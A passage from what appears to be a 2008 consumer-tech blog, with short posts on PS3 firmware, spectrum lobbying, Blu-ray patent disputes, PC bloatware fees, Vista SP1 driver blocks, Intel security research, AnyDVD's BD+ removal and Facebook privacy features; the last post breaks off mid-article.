“There is no denying the growing importance and influence of blogs within the media landscape,” said Forbes.com President and Chief Executive Officer Jim Spanfeller. “Forbes.com can ensure advertisers are reaching a hard-to-find and very desirable audience within safe, well-lit environments by exclusively inviting ‘best of breed’ business and investing bloggers to our new Business and Finance Blog Network.”

Nick Ricci, formerly Senior Vice President, Sales and Ad Operations of About.com, joins as General Manager, Sales. He will be responsible for overseeing the sales, marketing and promotion for the Blog Network as well as the Forbes Audience Network (FAN), which launched in November 2007.

I'm honored this blog was selected from very early on in the process. Obviously still more to come.

PS3 Now First BD-Live Player as Firmware 2.20 Goes Live

As I wrote earlier, with the 2.20 FW upgrade, the PS3 becomes the first BD-Live Player in existence. The upgrade went live Monday night, and thus you can now start looking for the few BD-Live (AKA Blu-ray Profile 2.0) titles available.

BD-Live adds interactive features, such as downloadable video content, ringtones, games, etc.

Additional changes in FW v2.20, according to Sony:

• The ability to copy PS3 Music and Photo playlists to a PSP system. We introduced the ability to create Music and Photo playlists on the PS3 in firmware update v2.0. Now you can easily export your playlists to your PSP.

• You can now play DivX and WMV format files that are over 2 GB. In addition, you can now display subtitles when viewing DivX files.

• Resume Play - begin playing a DVD or BD disc from the point where you previously stopped it, even if you eject the disc and insert a different movie or game.

• Use your PSP as a remote control to play back your music files on your PS3 without turning on your TV.

• The Internet browser now displays some web pages faster. In addition [Save Target] has been added as an option under file. This option lets you save a file that is linked to a web page to your PS3 hard drive or storage media.

Google Wants FCC to Free Up "White Space" for Mobile Broadband, Allow "Wi-Fi on Steroids"

Google didn't come away with anything in the recently ended 700-Mhz, but don't feel sorry for them just yet. Google is lobbying for access to the "white spaces" - largely unused spectrum that resides next to broadcast TV spectrum - for use for mobile broadband.

In a letter (.PDF) sent to the FCC last Friday by Richard Whitt, Google’s Washington telecom and media counsel, Google said:

As Google has pointed out previously, the vast majority of viable spectrum in this country simply goes unused, or else is grossly underutilized. Our nation typically uses only about five percent of one of our most precious resources. Unlike other natural resources, there is no benefit to allowing this spectrum to lie fallow. The airwaves can provide huge economic and social gains if used more efficiently, as seen today with the relatively tiny slices utilized by mobile phones and WiFi services.

The unique qualities of the TV white space -- unused spectrum, large amounts of bandwidth, and excellent propagation characteristics -- offer a once-in-a-lifetime opportunity to provide ubiquitous wireless broadband access to all Americans. In particular, this spectrum can provide robust infrastructure to serve the needs of under-deployed rural areas, as well as first responders and others in the public safety community. Moreover, use of this spectrum will enable much-needed competition to the incumbent broadband service providers.

In other words, that spectrum is wasted, let us use it. At the same time, Google has a section in the letter titled "No risk: an enhanced spectrum protection proposal" in which they make sure to outline how they will ensure that they won't adversely affect broadcasters.

In a conference call Monday, Whitt also went further, calling the plan "Wi-Fi on steroids" or "Wi-Fi 2.0." If all goes as Google hopes, they believe they can have people surfing on handheld devices at gigabits-per-second speeds by the end of 2009. And that's despite the fact that the TV spectrum won't be vacated until the DTV transition occurs in February 2009.

Google isn't alone in its desire to use the "white space." In fact, the Wireless Innovation Alliance also includes Dell and Microsoft as two of the better-known members. The key will be if the group can address the interference worries; the FCC recently started a new round of "white space" broadband testing (.PDF) on Jan. 24th after a prototype failed to detect / avoid interfering with other devices.

Kinda sounds like the "bad neighbor policy" of Wireless-N, doesn't it? If they can get it right, though, we may yet be seeing that promised gigabit-per-second wireless broadband.

MySpace Near Deals with Sony BMG, Warner Music Group: Report

The rumored MySpace Music online store seems closer to fruition, with sources telling the NY Post that both Sony BMG and Warner Music Group are near deals with MySpace.

The sources indicated that the deals could be signed as early as later this week. Considering that News Corp. owns both MySpace and The New York Post, this is probably pretty reliable info.

MySpace Music is expected to offer paid MP3 downloads as well as ad-supported free streams of music and videos. The deals will reportedly be unusual in terms of compensation; any labels signing with MySpace Music will receive a share of the service analogous to their existing market share outside of MySpace, with no money initially changing hands.

By signing Sony BMG and Warner Music Group, MySpace will have deals with the #2 and #3 record labels out of the four major labels (Universal Music Group is #1 and EMI is #4). Since Universal is still embroiled in a lawsuit against MySpace over copyright infringement (for allowing users to upload and download songs and music videos), I wouldn't expect a deal to be signed between those two anytime soon.

Blu-ray's Victory Threatened by Li'l Old Lady Professor?

It's no secret that the high-definition optical disc war just ended, with Blu-ray the winner. But a U.S. International Trade Commission (ITC) announcement made last Thursday may derail any ongoing celebrations.

Gertrude Neumark Rothschild, professor emeritus of engineering at Columbia University, filed a complaint on February 20th, asserting that the technology for not just Blu-ray players, but hand-held mobile devices, instrument panels, billboards, traffic lights, and unspecified data storage devices are based short-wavelength (e.g., blue, violet) LEDs and laser diodes that she has patents for.

I first heard about this over the weekend, but it wasn't until a friend prompted me that I realized this was no joke.

The list of companies under investigation is large, and full of well-known (and not-so-well-known) names:

• Avago Technologies of Singapore
• Bacol Optoelectonic Co. Ltd. of Taiwan
• Dominant Semiconductors Sdn. Bhd. of Malaysia
• Everlight Electronics Co., Ltd., of Taiwan
• Exceed Perseverance Electronic Ind. Co., Ltd., of China
• Guangzhou Hongli Opto-Electronic Co., Ltd., of China
• Harvatek Internaional Inc. of Taiwan
• Hitachi, Ltd., of Japan
• Kingbright Electronic Co., Ltd., of Taiwan
• LG Electronics of Korea
• Lite-On Technology Corp. of Taiwan
• Lucky Light Electronics Co., Ltd., of China
• Matsushita Electric Industrial Co., Ltd., of Japan
• Motorola, Inc., of Schaumburg, IL
• Nokia of Finland
• Opto Tech Corporation of Taiwan
• Pioneer Corporation of Japan
• Rohm Co., Ltd., of Japan
• Samsung Group of Korea
• Sanyo Electric Co., Ltd., of Japan
• Seoul Semiconductor Co., Ltd., of Korea
• Sharp Corporation of Japan
• Shenzhen Unilight Electronic Co., Ltd., of China
• Shinano Kenshi Co., Ltd., of Japan
• Sony Corporation of Japan
• Sony Ericsson Mobile Communications AB of Sweden
• Stanley Electric Co., Ltd., of Japan
• Toshiba Corporation of Japan
• Vishay Intertechnology, Inc., of Malvern, PA
• Yellow Stone Corporation of Taiwan

Here and here are the patents in question. Rothschild already has a settlement with Philips Lumileds under her belt, but you can assume that the U.S. isn't going to halt shipments of all those types of devices. A quick attempt at mediation between companies and the professor might be in order, however. Obviously more to come.

Chrysler to Add Wi-Fi, More Distraction to Cars This Year

I understand, it would be great if I were a passenger to be able to link my laptop to in-car wi-fi and use it while riding in a car. But we can't even keep drivers from text messaging or emailing via smartphones without laws, so what do you think is going to happen now? Do we really need an additional distraction in vehicles?

I realize, however, that Chrysler has to do something to get some sales. It's not like their car line is all that exciting or compelling.

According to Chrysler, dealers will begin installing the option this year, with the add-on becoming a manufacturing option later. According to Frank Klegon, Chrysler's product development chief, "We want to make the radio itself a wi-fi port."

What? I assume he means they want to turn the radio into a wireless router.

However, the technology will still reply on cellular phone service to gain Internet access. This means a) you'll have to subscribe to a data plan, and b) you shouldn't expect broadband speeds.

Heck, if you had a cellular modem PC Card you wouldn't even have to subject yourself to buying a Chrysler. Ugh. I will never buy an American car again - and of course, they'll have to pry my Prius out of my hands (unless they eliminate the carpool lane perk - though with gasoline approaching $4 it may not matter soon).

Sony Removes "No Bloatware" Fee - But Not Really

You may recall that I wrote previously about Sony's "No Bloatware" fee, which was slated to be $50. They've since, after an explosion of bad publicity, rescinded that fee. However, as I said in my prior post, in order to get the "Fresh Start" option and no bloatware, you had to select Windows Vista Business, a $100 option. To me, this meant the original price for "Fresh Start" was $150. The requirement for "Fresh Start" still includes Windows Vista Business, so now it seems the price remains a ridiculous $100 for garbage most people don't want.

Sony is only offering this option on the VGN-TZ2000 and VGN-TX2500 laptops, and as I said - and as you can see in the configuration screenshot above (click to enlarge) - you still have to upgrade your OS. Most sites and blogs however, are cheering over this so-called consumer victory, but why should anyone have to upgrade their OS at all? This should be a no-charge option for all systems.

It also makes me wonder if this was planned all along. I mean, Sony is getting a lot of good PR over this move of theirs, while in reality they still require you to up your configuration by $100. While it's true that some would probably opt for Vista Biz anyway, quite a few would probably opt to stick with Home Premium, which is a fine option for many.

Of course, that would require me to imagine that a corporation might have a somewhat shady reason for doing things - to possibly increase their bottom line. Nah, right?

I also understand that OEMs make $$$ off all the bloatware they install, and that by removing it they lose that money, but since corporations make tons off consumers, I really don't feel much sympathy for them.

I'll admit, it's nice to see a "no bloatware" option, but it should really be an option on all systems and all OSes, not limited to those who upgrade their OS. For now, I still give Sony a failing grade.

Student No Longer Faces Expulsion for "Facebook Study Group"

You may recall that Chris Avenir, a first-year chemical engineering student at Ryerson University in Toronto, Canada, faced expulsion after it came to light that he had created a Facebook-based chemistry study group.

The study group, called "Dungeons/Mastering Chemistry Solutions,” after a campus-based engineering study group called "The Dungeon," attracted the attention of school administrators over the winter break.

As there were 146 members in the group, Avenir was charged with 147 counts of academic misconduct and recommended for expulsion. At the same time, his class grade was changed from A to F.

However, Avenir stated that the group was no different than any other study group, providing tutoring and tri-mentoring, not cheating as administrators claimed. Other students expressed outrage as well.

The university had somewhat of a change of heart last week, telling him that he wouldn't be expelled. However, he will still receive a zero on the assignment section of the chemistry course. That is worth 10% of the grade, but since, as previously indicated, he had an A originally, he still passed the course easily.

It's possible that Avenir could still appeal through the Ryerson Students' Union, but as he had been facing expulsion, this is already a victory of sorts. He still faces mandatory attendance in a academic misconduct workshop.

Intel's Proteus Security Software to Protect by Learning "You"

The problem with a lot of security software is reliance on signatures to detect malware. If the malware is new, it may bypass the security software. Intel, specifically researchers at Intel Research Berkeley, are working on a project called Proteus which will learn your behavior and detect intrusions based on statistical modeling.

Proteus uses several algorithms to tailor protection based on the habits of a user. For example, the type of security software use by most IT departments has one trigger that looks at Internet traffic from a PC, sending an alarm when a preset threshold is met. A heavy downloader might trigger that alarm accidentally.

The first algorithm uses standard statistical and machine-learning techniques to monitor a person's Internet use and create individualized traffic thresholds, which should prevent false positives. A second algorithm tracks Internet use changes throughout the day since most people, if using a work laptop, will have a different Internet use profile when home than when at work.

A final algorithm monitors "calling home" activities for regularity. Such activities are frequently used to coordinate botnets.

Nina Taft, one of the researchers involved in the project, indicated that Intel is interested in getting as much of this security into hardware as possible.

"Intel is interested in getting as much [security] into hardware as possible. It's a good use of [processing] cores, and when things are in hardware, they're harder to tamper with."

While Intel has already tried the system with 350 years, and is looking for a wider test deployment, of Symantec or McAfee stock needn't panic. Intel believes no one security solution can protect against all possible intrusions. It's just this sort of redundancy behind my use of both antivirus and anti-Trojan programs on my systems.

"There are so many different ways to break in," Taft said. "One will need many security checks on a computer."

Wine Approaches 1.0 Vintage

The Wine project is scheduled for its 1.0 release, after nearly 15 years of development. In fact, according to their "release plan" they are trying to release it close to the 15th anniversary date.

The uncertainty of the exact birthday of Wine, which is a software application which aims to allow Unix and Linux systems with Intel x86 CPUs to run Microsoft Windows programs, makes targeting a little difficult. The possibilities are:

• May 30, 1993 - Jocke Berglund suggests that being "able to run windows programs without windows" would be a "great feature"
• May 31, 1993 - Garrett D'Amore: "I think it is technically feasible to write an 'interpreter' for Windows *.EXEs that calls its own internal functions whenever a specific call to certain API addresses are made"
• Jul 8, 1993 - the first Wine ChangeLog entry

Because of that, the project is simply continuing with its biweekly release schedule and aiming for a 1.0.0 release on June 6th.

The Wine 1.0.0 release criteria may seem a bit lame, listing only four apps as it does, but as the project says:

The problem with expanding that list is that each new app adds a huge amount of testing to each release.

The four apps which must "run well" are:

• Photoshop CS2 trial
• Microsoft Powerpoint Viewer 97 and 2003
• Microsoft Word Viewer 97 and 2003
• Microsoft Excel Viewer 97 and 2003

Wine will likely never run all Windows apps well, without Microsoft help, but Google recently announced it had helped the Wine project out, so who knows?

picapp Offers News Photos to Bloggers and Sites - Free

Need to use on your website but concerned about possible copyright infringement? picapp may be the answer for you. In its FAQ, the company says:

picapp.com is a free online service for adding high-quality stock photos to blogs and websites – without the copyright and legal headaches. Registration is free, and picapp.com members have legal access to the best and most current stock photo collections on the web. Inserting picapp.com images on your site is as easy as 1-2-3.

It's not the same as embedding a regular image. What you're embedding is Javascript and Flash. That also means it's not that simple to resize the image. Above isn't a real embedded picapp image, but a screenshot of one (so I could resize it). In fact, I tried altering the Javascript to resize the original image, and what happened was the script kept trying to load, and load, and load.

For many sites, being able to resize images is important, so that will limit (somewhat) picapp's audience, until and unless they change that.

BTW, in the above image you see above an embedded ad, which is, of course, how picapp makes its money.

Also, it's not the type of thing I'm going to use for this site. I tried searching for "router" and didn't find anything that made sense. The above image was the result of a search for "Iron Man movie." I hope it would bring up an image from this summers probable blockbuster, but instead it brought up an image from a 1931 image of the same name.

Searching for "George Clooney," however, was much more successful. This type of service might be good for a celebrity news site or one that needs a lot of stock photos.

Since they're embedding ads, is it possible they will share the revenue? The FAQ hints at that:

Can I make money with picapp.com?

Stay tuned!

They're going to need a lot of embeds to make money though (the ads I saw weren't too compelling), so will this service make it? Better search, different types of images, resizeability, these would all help picapp. We'll keep an eye on it.

Apple Pushes Safari Via iTunes Update

Can't get market share the good old-fashioned way? How about sneaking your browser onto systems, then?

Since Apple released the 3.1 version of its Safari browser on Tuesday, it's been offering Safari via its Apple Software Update applet. That's not really a big deal. What is a little more of a big deal is that it's offering it as an "update" even to those users who never had Safari installed.

Apple's been trailing badly in browser market share, with Microsoft's IE still owning 74.9% of the market, Firefox with 17.3%, and Safari with 5.7%, according to Net Applications' market share report for February.

Mozilla CEO John Lilly took the opportunity to rail on Apple, saying in a blog post:

What Apple is doing now with their Apple Software Update on Windows is wrong. It undermines the trust relationship great companie have with their customers, and that’s bad — not just for Apple, but for the security of the whole Web.

There’s an implicit trust relationship between software makers and customers in this regard: as a software maker we promise to do our very best to keep users safe and will provide the quickest updates possible, with absolutely no other agenda. And when the user trusts the software maker, they’ll generally go ahead and install the patch, keeping themselves and everyone else safe.

The problem here is that it lists Safari for getting an update — and has the “Install” box checked by default — even if you haven’t ever installed Safari on your PC.

I agree, but I'll also add that this is precisely the reason that I always make sure I am careful when installing updates or even a new package. In fact, I usually go with the "advanced options"
when installing something, and ask for the "complete" install, so I can see everything that's being installed (well, hopefully, unless it installs some sort of stealth copy-protection or something).

For example, when I updated my Jave Runtime Environment today, it asked to install the Google Toolbar. Well, I don't want the Google Toolbar. Some people might just install everything without first checking, and that's the whole problem with Apple's stance on this.

Additionally, since everyone who has iTunes installed will also have this update applet installed, you can see that Apple has quite a large "captive" audience, susceptible to its "offering."

I'll say this: if this doesn't hurt Apple's pristine good-guy, anti-corporate image, I don't know what will.

So Microsoft, Why Can't I Get Windows Vista SP1?

Windows Vista SP1 is now available, but not everyone can get it. That includes me, at least on my Dell Inspiron M1710. You'll recall that Microsoft isn't going to offer SP1 via Windows Update to anyone who has a "problematic driver."

But I couldn't figure out why my M1710 was excluded. A cursory glance at the drivers made me think I shouldn't be blocked, and I already had all the prerequisite updates. So, I had to look at KB948343 to figure out why. And I had to do it the hard way: searching for each file in the list of problematic drivers.

I found it: I have SigmaTel driver file Stwrt.sys (version 6.10.5343.1). Since version 6.10.5511.0 or earlier is excluded, that's what's blocking me. The problem is that Dell has not updated that driver, so I'm stuck.

Here's my question: why did I have to search for the driver? Microsoft obviously knew I had an issue; why doesn't Windows Update just tell me?

A user posting a comment at the Microsoft Windows Vista blog post that announced SP1 had the same sort of reaction, saying:

I'm not being offered Vista SP1 on my new Dell XPS M1530 laptop. As far as I can tell I have two pieces of hardware in the problem list, but the driver versions I have seem to be OK.

Sigmatel stwrt.sys - I have 6.10.5614.0 (doc says must be > 6.10.5511.0)

UPEK tcusb.sys - I have 1.9.2.111 (doc says must be > 1.9.2.99)

So my question is, is there any way of finding out exactly what is stopping me from being shown SP1 via Windows Update? I'm tired of looking at driver versions now.

Hey Microsoft, how about a tool that might tell users a) what the problem is, b) where to get a new driver (if possible)? Seems to be that it wouldn't be that much work for Microsoft (well, maybe, to keep it up to date, but it would really help end user satisfaction).

Update: I've been trying to find a upgraded driver for SigmalTel , but so far what I've found in Dell's community forums says that an updated driver will work on a number of systems, but only may work on mine, because it is not listed as supported. I may have to try to contact the Dell Liason in TX I used previously to see if I can get some help on this.

My understanding is Gateway and HP owners are having similar issues with updating drivers.

Update 2: I discovered there is a driver that should work. It's this one, R171788.exe. A few comments:

• Why was this posted on the European site, not the U.S. one? The link is from a Dell Community Rep, BTW.
  

• Why wasn't this linked in the M1710 driver section?
  

• Why did they switch to using BIOS codes for drivers? I didn't know this was compatible because it's listed as compatible with MXG061 - BIOS code for the M1710. What was wrong with the M1710 name?
  

Dell and other OEMs have plenty of blame to shoulder; I'm sure they knew about these drivers a long time ago and had plenty of time to update their support pages. However, I still stand by my comment that Microsoft / OEMs should provide a simple tool to find these incompatibilities. I can't imagine my mother-in-law being able to figure this out - without my help.

Sony's "Fresh Start" Option Charges $150 to Remove Bloatware

What's the first thing I do when I get a computer from a major system building like Dell, HP or Sony? Well, actually, the first thing I do once I get it activated is make a system image. The second thing I do is wipe all the "bloatware" off the system. Bloatware is all the trialware and junk I don't want on the computer.

It's one of the most requested items that people wish they would be able to customize their PCs with ... "no bloatware" that is. Sony has gotten the message, but aims to make a profit off it it. You can request the so-called "Fresh Start" option, though only on the VGN-TZ2000 and VGN-TX2500 for now, and you have to pay $50 for the "privilege" (click image above to enlarge).

Wait, why I am saying it's $150? Well, to top it off, you also have to add Windows Vista Business and that adds still another $100. So you're really paying $150 to get stuff off your PC ... or rather, not put stuff on your PC ... that you don't want.

I suppose if a user wanted Vista Biz anyway you could say it was only $50, but let's be honest here ...

So should I say thanks? It's a start, but something like this should be available on all PCs, and for free. It's understandable why they charge for it, though, because OEMs get $ for sticking that "bloatware" on the PCs in the first place. But why add insult to injury by forcing an OS upgrade, too?

Update: According to reports, Sony has decided to remove the $50 charge. However, it's still there right now and thus unconfirmed - and I wonder if you still have to upgrade to Vista Biz to get it. That would still be an additional $100 for the privilege.

Amazon.com: We're Sorry, More Kindles Are Coming

When the Kindle was launched, despite skepticism, it sold out very quickly. This of course led to speculation that a) they totally underestimated the product's possibilities, or b) it was a marketing gimmick, a PR ploy. I personally lean toward a).

If you went to the Amazon.com website on Thursday you would have seen an apology from Jeff Bezos front-and-center on their homepage, indicating that hopefully soon customers will be able to order a Kindle and have it shipped the same day.

Without knowing exactly how many Kindles have been sold, it's difficult to say how successful it really is. But reading his apology: a six-week wait? If you really want to apologize, how about a free download for some of the early sufferers, er, adopters?

For me, as I've said earlier, I don't mind leaving a paperback on a BART train, but one of these? I'll think about it for a while longer.

Sony Confirms Imminent BD-Live FW Upgrade for PS3

BD-Live (AKA Blu-ray Disc Profile 2.0) titles were released earlier this year, despite the fact that there were no players yet capable of supporting BD-Live.

Once again, the PS3 shows why it should be the Blu-ray player of choice for even non-gamers, as Firmware v2.20, which Sony says is "coming up in the next few days," will add support for BD-Live, making the PS3 the first BD-Live capable player available.

BD-Live requires two secondary decoders, 1GB of local storage for updates and content, and an Internet connection. It will allow you to connect to the internet and receive downloadable content to add to the title.

You'll recall that there is more than one Blu-ray support profile defined:

• 1.0 - the launch profile, and secondary audio and video decoders are optional, as is local storage and network connectivity. The majority of standalone players fit into this category.

• 1.1 - newer profile; players need a secondary audio and video decoder to handle picture-in-picture, as well as at least 256MB of local storage for content.

• 2.0 - latest, requiring the two secondary decoders, 1GB of local storage for updates and content, and an Internet connection.

Obviously the additional hardware requirements mean that not every Blu-ray player can be upgraded with a firmware change. In fact, the first standalone BD-Live player will not arrive until April (the Panasonic DMP-BD50). The only other announced BD-Live player is the and the Sony BDP-S550 (coming this autumn). Both of these are expected to cost at least $100 more than an entry-level PS3.

Additional changes in FW v2.20, according to Sony:

• The ability to copy PS3 Music and Photo playlists to a PSP system. We introduced the ability to create Music and Photo playlists on the PS3 in firmware update v2.0. Now you can easily export your playlists to your PSP.

• You can now play DivX and WMV format files that are over 2 GB. In addition, you can now display subtitles when viewing DivX files.

• Resume Play - begin playing a DVD or BD disc from the point where you previously stopped it, even if you eject the disc and insert a different movie or game.

• Use your PSP as a remote control to play back your music files on your PS3 without turning on your TV.

• The Internet browser now displays some web pages faster. In addition [Save Target] has been added as an option under file. This option lets you save a file that is linked to a web page to your PS3 hard drive or storage media.

Having a PS3 next to your TV may not be as "home decor-friendly" as a standalone player, and thus harder to get past your wife or partner, but it sure seems to be the best way to stay at the bleeding-edge of Blu-ray. And of course, the console gaming portion of it is more than an after-thought ...

Gartner Raises iPhone's Enterprise Rating

When the iPhone first launched, research firm Gartner gave it an enterprise rating of "concierge," which much as it sounds, means an IT department must give users of that hardware more assistance, much like a hotel concierge.

On Wednesday Gartner issued a report (purchase, registration required) which raises the iPhone to the next rating level, "appliance" - at least once the 2.0 software upgrade goes live.

The 2.0 upgrade, you may recall, will give the iPhone Exchange support via ActiveSync, which Apple has licensed from Microsoft.

In a press release, Ken Dulaney, vice president and distinguished analyst at Gartner said:

"In its initial release, the iPhone was, with few exceptions, an Internet tablet with browser-based applications as its main offering, however, the release of firmware 2.0 changes that, enabling enterprises to develop local code and create applications that do not depend on network capabilities. The iPhone will thus match up initially in several segments against its main smartphone competitors — BlackBerry, Windows Mobile and Symbian Series 60.

By licensing Exchange ActiveSync and exposing its basic security policies, enterprises can provide sufficient security for iPhone during Exchange personal information manager (PIM) and e-mail use. This will open up a huge market for the iPhone, which previously had been stymied by a lack of basic business security and application functionality. However, Apple must widen distribution and of course deliver what they have promised."

I continue to believe that the lack of a QWERTY keyboard will limit adoption, as despite the text prediction on the iPhone error rates are higher while typing, studies have shown.

The iPhone didn't get Gartner's top support rating, called "platform," for a variety of reasons, including the fact that the enterprise level support (i.e., Exchange support) will be new and relatively untested, but hey, one step at a time.

Apple's Airport Disk Finally Supports Time Machine

I wrote in late January about the general user furor over the announcement of Time Capsule. To be exact, it wasn't all users - only those who had purchased the Airport Extreme because of Airport Disk, a way to add an external USB hard drive to the router for sharing on the network.

Why? Because Leopard (MacOS 10.5) had been advertised as being able to use the Airport Disk with Time Machine. In fact, pre-release versions had that functionality. Then, when Leopard was released, a tech note was posted (on the launch day) that said the Airport Disk was not supported. You can imagine how well that went over.

Wednesday Apple released a firmware upgrade, 7.3.1, for the Airport Extreme that fixes the issue, as long as you install a few prerequisites as well.

You have to apply AirPort Update 2008-001 and install Time Machine and AirPort Updates 1.0 first. Then you launch the AirPort Utility (in /Applications/Utilities). You should be prompted to update to firmware 7.3.1; if not, choose "Manual Setup" and then "Upload Firmware" from the Base Station menu.

This should resolve the outrage felt by many who felt betrayed by the introduction of the Time Capsule. One example of angry posts on Apple's discussion forums is this post, which said:

I was one of the suckers to buy an AE and 500GB hard drive when Apple posted that Leopard would be the answer to the back-up problem. All you needed was a AE and USB drive and Time Machine would do the rest. I believed them and look where that got me.

Glad to see Apple finally fix this problem. Why this feature was in pre-release versions of Leopard and was dropped in the final release is unclear. But if anyone remembers how programmers were pulled off Leopard and other projects to work on the iPhone - well, that could be a possible explanation.

New Version of AnyDVD Fully Removes BD+

The more things change, the more they stay the same, and the harder the copy protection is to crack, the more satisfying it is when it happens. On Wednesday Slysoft released version 6.4.0.0 of AnyDVD HD, which now fully cracks BD+.

Even more satisfying since just last year Richard Doherty of the Envisioneering Group claimed BD+, Blu-ray's latest protection scheme, would not be cracked for 10 years. Maybe he was speaking of dog years or something.

For those who don't know, AnyDVD can be used two ways: it can sit between your DVD and software like Nero, making it believe the DVD is unprotected, or it can rip the DVD to your hard drive itself. There are two versions of AnyDVD, an HD and a non-HD version.

The changelist for 6.4.0.0 is as follows:

6.4.0.0 2008 03 19

- New (Blu-ray): Removes the BD+ protection from Blu-ray discs!
(for increased compatibility with titles released by Twentieth
Century Fox :-) )
- New (Blu-ray): Added option to enable / disable BD+ removal
- New (DVD): AnyDVD ripper no longer uses the Windows filesystem, it has now its own UDF parser / reader.
Discs which cannot be read by Windows can now be copied with the AnyDVD ripper.
- Fix (Blu-ray): Black display with some BD discs, e.g., "Layer Cake", second release, "The Fugitive", "Wild Things" (all Region B)
- Fix (DVD): Small bugfix in "repairing defective disc structure" function of AnyDVD ripper
- Fix (DVD): Problems with some Arccos protected titles, e.g. "The Grudge", R1, US
- Some minor fixes and improvements
- Updated languages

Of course, a program like this should only be used for archival backups.

Start your downloading engines.

Best Buy Jumps on the "HD-DVD Consolation Prize" Bandwagon

Following up on "consolation prizes" to the losers of the hi-def war by Circuit City, Canadian retailer Future Shop, and Japanese retailer Edion, Best Buy announced on Wednesday it will be sending $50 gift cards to all those individuals it can identify as HD-DVD buyers.

According to a press release, this will cost Best Buy over $10 million. Eligible customers will be those who purchased an HD-DVD player from one of Best Buy's U.S. stores before February 23, 2008.

In the press release, Barry Judge, chief marketing officer for Best Buy said:

"The beauty of this offer is that it doesn’t require our customers to give up their HD-DVD player. We know that many people who purchased these players have HD-DVD movies that they would like to continue to watch. We’re telling our customers they can keep their players to play these movies as well as their older DVDs and use the $50 to treat themselves to anything else in our stores."

Well, yeah, whatever you say.

According to Best Buy, most customers won't need to do anything. But it does mention in the press release that Best Buy Reward Zone program members will be among the first to get the cards (by May 1) - hint, hint.

Otherwise, if you're afraid you might be passed over, you can call (888) BEST-BUY to receive your gift cards with proof-of-purchase via a credit card or your Best Buy receipt.

Canadian Public TV to Embrace BitTorrent

The Canadian public television network CBC is set to launch a trial of BitTorrent distribution of its show Canada's Next Great Prime Minister. On the morning of March 24th the CBC will have a torrent all set for download at the show's website. The show itself airs on March 23rd at 7 PM.

Canada's Next Great Prime Minister, is a reality show and an annual competition in which young adults propose ways to improve the country. The winner gets $50,000 (Canadian). Last year the show attracted over 1 million viewers, which for a Canadian show is a major hit.

You can credit Boing Boing for giving the CBC the idea. Earlier this month they wrote about a Norwegian public TV station doing the same thing, and Tessa Sproule, the CBC manager in charge of the show's digital outreach was inspired to do the same.

According to their press release, the download will be DRM-free, legal to distribute anywhere; they'll also be distributing an iPod-friendly version. This will make Canada the first country in North America to release high-quality, DRM-free copies of a prime-time show using BitTorrent.

Of course, you'll recall that I wrote earlier that the Canadian ISP Sympatico was throttling P2P downloads, so this should be fun. As more and more legit uses for P2P emerge, throttling such as Sympatico's or Comcast's will - I hope - go out of style.

Coke Zero's Bracket-O-Matic Takes the Guesswork (Fun?) Out of the NCAA Tourney

I have never won an NCAA Basketball Tournament Pool. Face it, I simply don't follow college basketball, and the few days I get to work on it once the brackets are decided - simply not good enough. I may just have a chance this year ... though probably not.

Coke Zero launched this app last year, but this year things have been much improved. Bracket-O-Matic '08 (click to enlarge image above) enables you to use sliders to weight various categories and comes up with your bracket for you:

• Dynasty vs. Cinderella
• Offense vs. Defense
• Wild Mascot vs. Tame Mascot - Subjective ranking where a value of 9 was maximum wildness, 1 was the most tame, and 5 was neither wild nor tame.
• Senior vs. Frosh
• Star Power vs. Deep Bench
• Hi Seed vs. Lo Seed
• East Coast vs. West Coast
• New Coach vs. Vet Coach
  

Except for the mascot category, they all seem pretty self-explanatory. Interested in more details on the logic? Check out this PDF file they sent me.

As Coke Zero says:

Take the guesswork out of your tournament bracket. Crack open a Zero, dial in your preferences, and this handy dandy bracket filler outer thing will do the rest.

This'll be really handy for those of you who enter multiple pools. Of course, you can override any of the program's picks. And, if you're participating in the CBS Bracket Challenge, you can submit your picks with a click of the mouse.

Just for fun, I built a bracket with all the default (centered) settings, and ended up with a Final Four of St. Joseph, Marquette, Kent State, BYU, with BYU meeting St. Joseph in the finals and BYU winning.

Somehow this doesn't seem right to me.

Still confused? Watch this video:

An "All You Can Listen To" iTunes Plan?

Is Apple ready to jump on the music subscription bandwagon? It seems out of character, since they won't (at least so far) even go so far as to consider tiered pricing, but the reports are there. More to the point: does it make sense for Apple and the music industry?

According to FT, Apple is in discussion with the industry over an "all you can listen to" plan. The service would either be offered with a premium paid up-front (building the cost into the device, much like Nokia's "Comes With Music" offering), or via subscription. According to the report, an industry exec indicated studies have shown consumers would be willing to pay as much as $100 for an "up-front" deal or $7- $8 per month.

$100 is a lot to add onto the price of an iPod or iPhone. Additionally, the report goes on to say that the subscription model is only being considered for the iPhone, where "it has a monthly billing relationship with customers through the mobile phone operators."

Questions emerge:

• iTunes is pretty simple now. $0.99 per track, easy to understand. Not just that, iTunes is currently the #2 music retailer. Would Apple want to muck with success? Of course, despite the numbers, it's been said Apple makes very little off each iTunes purchase.
  

• What about owners of older iPods? Can they opt-in by paying the same or similar fee?
  

• Is this really a one-time fee forever? I could see it being an up-front fee and then yearly renewals, but forever?
  

One sticking point right now: Nokia is said to be offering almost $80 per handset to music industry partners, to be divided per market share. Apple, being the dominant tough guy (anyone who can get carriers to give them a share of monthly fees is a tough guy) has so far offered only about $20 per device, two executives said to FT.

"It’s who blinks first, and whether or not anyone does blink," one executive said.

What do you readers think? Good idea? Bad idea? Or do you have a Zune?

Facebook Ratchets Up Privacy Controls; Confirms Chat

Facebook held a press event on Tuesday, announcing both an update to their privacy controls as well as confirming their upcoming chat feature, to be called Facebook Chat.

The privacy features will build on the Friend Lists feature that Facebook introduced in December. Users will be able to set specific privacy controls for specific friends or groups of friends. This means that (assuming you are careful enough), no longer need you be concerned that future employers will be scanning your party photos to see just how much liquor you can hold.

Information you add to Facebook can be shared - or not - based on the classifications:

• Everyone on Facebook
• Friends of Friends
• All Friends
• Some Friends
• Only Me

You can also share the information with certain of your networks.

Meanwhile, the chat feature, rumored for some time and called Facebook Chat, was demoed by product manager Peter Deng.

"When you log in to the site there is a Chat [UI] at the bottom of the browser ... it's unobtrusive and there when you need it," he said.

You could think of it as similar to Google Talk, which is overlays on top of Gmail. However, Facebook Chat is proprietary, and won't have any API access, at least initially. Future Jabber integration is a possibility, but not guaranteed.

Facebook Chat should roll out in two weeks; the new privacy settings should be live Wednesday morning.

Flash-based Laptops Have High Return Rate: Analyst

Flash-based or solid-state drives (SSDs) are the "in-thing," but they have a very high premium when compared to standard laptops. One need only go to the Apple Store and take a MacBook Air (MBA) with a standard hard drive and replace it with an SSD to see a $999 price difference, for example.

